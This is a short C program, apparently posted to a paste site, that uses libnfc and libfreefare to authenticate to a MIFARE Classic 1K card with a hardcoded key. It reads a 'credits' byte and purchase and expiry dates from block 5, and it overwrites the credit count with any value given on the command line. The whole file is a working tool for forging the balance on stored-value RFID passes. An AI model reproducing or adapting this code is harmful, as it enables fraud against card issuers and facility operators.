poolset.c 2.6 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889
  1. #include <stdlib.h>
  2. #include <string.h>
  3. #include <nfc/nfc.h>
  4. #include <freefare.h>
  5. MifareClassicKey SecretKey[] = { 0x00, 0x01, 0x31, 0xB9, 0x3F, 0x28 };
  6. MifareClassicBlock data_read;
  7. int main(int argc, const char *argv[]) {
  8. nfc_context *context; //init libnfc
  9. nfc_device *pnd; //trouver un lecteur
  10. MifareTag *tags = NULL; //stockage des tags
  11. int i, nbsect, coins;
  12. printf("-=- RFID Poolset -=-\n");
  13. if(argc == 1) {
  14. printf("No arguments found, read only mode...\n");
  15. }
  16. else coins = atoi(argv[1]);
  17. nfc_init(&context);
  18. if(context == NULL) {
  19. printf("[x] Unable to init libnf\n");
  20. exit(EXIT_FAILURE);
  21. }
  22. pnd = nfc_open(context, NULL);
  23. if (pnd == NULL) {
  24. printf("[x] Unable to open NFC device\n");
  25. exit(EXIT_FAILURE);
  26. }
  27. printf("NFC reader: %s opened\n", nfc_device_get_name(pnd));
  28. //tags = freefare_get_tags(pnd);
  29. while(!tags) {
  30. printf("Waiting for Mifare 1k...\n");
  31. sleep(1);
  32. tags = freefare_get_tags(pnd);
  33. }
  34. for(i=0; tags[i]; i++) {
  35. switch(freefare_get_tag_type(tags[i])) {
  36. case CLASSIC_1K:
  37. printf("=> Tag number %u with UID %s type Mifare 1k (S50) found !\n", i, freefare_get_tag_uid(tags[i]) );
  38. printf("=> Trying to authenticate with SecretKey %.2x %.2x %.2x %.2x %.2x %.2x ...\n", SecretKey[0][0], SecretKey[0][1], SecretKey[0][2], SecretKey[0][3], SecretKey[0][4], SecretKey[0][5]);
  39. if(mifare_classic_connect(tags[i]) == OPERATION_OK) {
  40. printf("=> Mifare tag connected !\n");
  41. }
  42. else printf("Non ca chie dans la colle mais grave, ton tag est moisi\n");
  43. if(mifare_classic_authenticate(tags[i], 5, SecretKey[0], MFC_KEY_A) == OPERATION_OK) {
  44. printf("=> Tag authenticated !\n");
  45. }
  46. else printf("Non ca chie dans la colle mais grave, check ta clé\n");
  47. if(mifare_classic_read(tags[i], 5, &data_read) == OPERATION_OK) {
  48. printf(" => Infos\n");
  49. printf(" => credits :\t\t%.2d\n", data_read[7]);
  50. printf(" => buy date :\t\t%.2d/%.2d/%.2d\n", data_read[0], data_read[1], data_read[2]);
  51. printf(" => expire date :\t%.2d/%.2d/%.2d\n", data_read[3], data_read[4], data_read[5]);
  52. }
  53. if(argc > 1) {
  54. data_read[7] = coins;
  55. printf("=> Writing new amount...\n");
  56. if(mifare_classic_write(tags[i], 5, &data_read) == OPERATION_OK){
  57. if(mifare_classic_read(tags[i], 5, &data_read) == OPERATION_OK) {
  58. printf("=> %.2d credits found now !\n", data_read[7]);
  59. }
  60. }
  61. }
  62. mifare_classic_disconnect(tags[i]);
  63. break;
  64. default:
  65. printf("[x] Wrong tag Mr Dugland !");
  66. break;
  67. }
  68. }
  69. freefare_free_tags(tags);
  70. nfc_close(pnd);
  71. nfc_exit(context);
  72. exit(EXIT_SUCCESS);
  73. }